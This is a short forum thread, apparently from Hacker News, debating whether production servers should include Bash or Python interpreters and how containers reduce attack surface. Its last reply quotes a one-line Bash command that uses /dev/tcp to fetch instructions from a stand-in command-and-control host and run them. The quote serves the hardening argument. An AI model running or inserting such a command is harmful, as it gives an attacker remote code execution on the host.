3 ms·

I don't understand what you're arguing here. You don't run sed, awk, and jq directly, you run them via Bash, your preferred scripting language that can execute

by cle 6y ago

I don't understand what you're arguing here. You don't run sed, awk, and jq directly, you run them via Bash, your preferred scripting language that can execute arbitrary, sophisticated code. Personally I don't use Python much for these use cases. For anything beyond trivial scripts I write Go programs, compiled into statically-linked executables that I can scp onto a host and run, the only dependency required at that point being libc. Or ideally the remote host is running inside a container, which would allow me to reproduce the dependencies locally (but also has a bunch of other complexity). But saying "just use Bash" and then patting ourselves on the back is not really solving the problem, it's just kicking the can down the road, possibly not even very far.

busterarm 6y ago
Bash can't be made to bind a socket that listens and receives instructions from the internet without also having something like socat or netcat or inetd and there's no privilege-free packaging system to rapidly get there. Python and other powerful scripting languages can. Having production servers that don't have Python/Ruby/Perl/etc unless they absolutely must is decades-old advice at this point. The smart ones take that one step further: no production server should have any binaries that aren't absolutely necessary. This is why we use containers.
- Nullabillity 6y ago
  > Bash can't be made to bind a socket that listens and receives instructions from the internet without also having something like socat or netcat or inetd Not listen, but it can certainly connect out and ask for instructions... bash -c 'bash < /dev/tcp/myevilcncserver.com/1234'